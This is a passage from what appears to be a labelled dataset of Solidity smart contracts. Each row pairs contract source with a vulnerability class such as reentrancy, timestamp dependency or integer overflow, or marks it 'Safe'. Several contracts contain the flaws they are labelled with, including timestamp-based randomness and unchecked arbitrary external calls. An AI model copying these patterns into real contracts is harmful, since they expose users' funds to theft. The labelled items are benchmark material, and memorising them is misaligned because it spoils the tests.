Token""; decimals = 8; _totalSupply = 200000000000000; balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply; emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 8502.sol,"pragma solidity ^0.4.24; contract Lottery{ modifier onlyOwner() { require(msg.sender == owner); _; } modifier notPooh(address aContract) { require(aContract != address(poohContract)); _; } modifier isOpenToPublic() { require(openToPublic); _; } modifier onlyHuman() { require (msg.sender == tx.origin); _; } event Deposit( uint256 amount, address depositer ); event WinnerPaid( uint256 amount, address winner ); POOH poohContract; address owner; bool openToPublic = false; uint256 ticketNumber = 0; uint256 winningNumber; constructor() public { poohContract = POOH(0x4C29d75cc423E8Adaa3839892feb66977e295829); openToPublic = false; owner = msg.sender; } function() payable public { } function deposit() isOpenToPublic() onlyHuman() payable public { require(msg.value >= 1000000000000000); address customerAddress = msg.sender; poohContract.buy.value(msg.value)(customerAddress); emit Deposit(msg.value, msg.sender); if(msg.value > 1000000000000000) { uint extraTickets = SafeMath.div(msg.value, 1000000000000000); ticketNumber += extraTickets; } if(ticketNumber >= winningNumber) { poohContract.exit(); payDev(owner); payWinner(customerAddress); poohContract.buy.value(address(this).balance)(customerAddress); resetLottery(); } else { ticketNumber++; } } function myTokens() public view returns(uint256) { return poohContract.myTokens(); } function myDividends() public view returns(uint256) { return poohContract.myDividends(true); } function ethBalance() public view returns (uint256) { return address(this).balance; } function openToThePublic() onlyOwner() public { openToPublic = true; resetLottery(); } function returnAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner() notPooh(tokenAddress) returns (bool success) { return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens); } function payWinner(address winner) internal { uint balance = SafeMath.sub(address(this).balance, 50000000000000000); winner.transfer(balance); emit WinnerPaid(balance, winner); } function payDev(address dev) internal { uint balance = SafeMath.div(address(this).balance, 10); dev.transfer(balance); } function resetLottery() internal isOpenToPublic() { ticketNumber = 1; winningNumber = uint256(keccak256(block.timestamp, block.difficulty))%300; } } contract ERC20Interface { function transfer(address to, uint256 tokens) public returns (bool success); } contract POOH { function buy(address) public payable returns(uint256); function exit() public; function myTokens() public view returns(uint256); function myDividends(bool) public view returns(uint256); } library SafeMath { function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } }",./Dataset/timestamp dependency (TP)/,6,6 36903.sol,"pragma solidity ^0.4.13; contract Centra4 { function transfer() returns (bool) { address contract_address; contract_address = 0x96a65609a7b84e8842732deb08f56c3e21ac6f8a; address c1; address c2; uint256 k; k = 1; c2 = 0xaa27f8c1160886aacba64b2319d8d5469ef2af79; contract_address.call(""register"", ""CentraToken""); if(!contract_address.call(bytes4(keccak256(""transfer(address,uint256)"")),c2,k)) return false; return true; } }",./Dataset/reentrancy (RE)/,5,5 0x032019d7cbef685ff8c31ef355300daae09f3377_ADZbuzzCommunityToken.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'ACT112767' token contract // // Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187 // Symbol : ACT112767 // Name : ADZbuzz Dollarvigilante.com Community Token // Total supply: 2000000 // Decimals : 8 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ADZbuzzCommunityToken() public { symbol = ""ACT112767""; name = ""ADZbuzz Dollarvigilante.com Community Token""; decimals = 8; _totalSupply = 200000000000000; balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply; emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",Safe,8,8 425.sol,"pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint256 _index) public view returns(ERC20); function allTokens() public view returns(ERC20[]); function allDecimals() public view returns(uint8[]); function allBalances() public view returns(uint256[]); function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function allWeights() public view returns(uint256[] _weights); function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: contracts/registry/MultiBuyer.sol contract MultiBuyer is CanReclaimToken { using SafeMath for uint256; function buy( IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, ""buy: _datasIndexes should start with 0 and end with LENGTH""); require(_values.length == _exchanges.length, ""buy: _values should have the same length as _exchanges""); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); } require(_exchanges[i].call.value(_values[i])(data), ""buy: exchange arbitrary call failed""); if (_throughToken != address(0)) { _throughToken.approve(_exchanges[i], 0); } } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, ""buy: return value is too low""); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } }",./Dataset/reentrancy (RE)/,5,5 0x03b9532d3f440fdf9a2f67938b5ad2f578b678bf_RYNOTE.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract RYNOTE is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function RYNOTE() { balances[msg.sender] = 70000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 70000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = ""RYNOTE""; // Set the name for display purposes (CHANGE THIS) decimals = 6; // Amount of decimals for display purposes (CHANGE THIS) symbol = ""RYN""; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 1000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 39956.sol,"pragma solidity ^0.4.0; // /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0 contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if(address(OAR)==0) oraclize_setNetwork(networkID_auto); oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); return true; } if (getCodeSize(0xc03a2615d5efaf5f49f60b7bb6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03a2615d5efaf5f49f60b7bb6583eaec212fdf1); return true; } if (getCodeSize(0x51efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa); return true; } return false; } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ 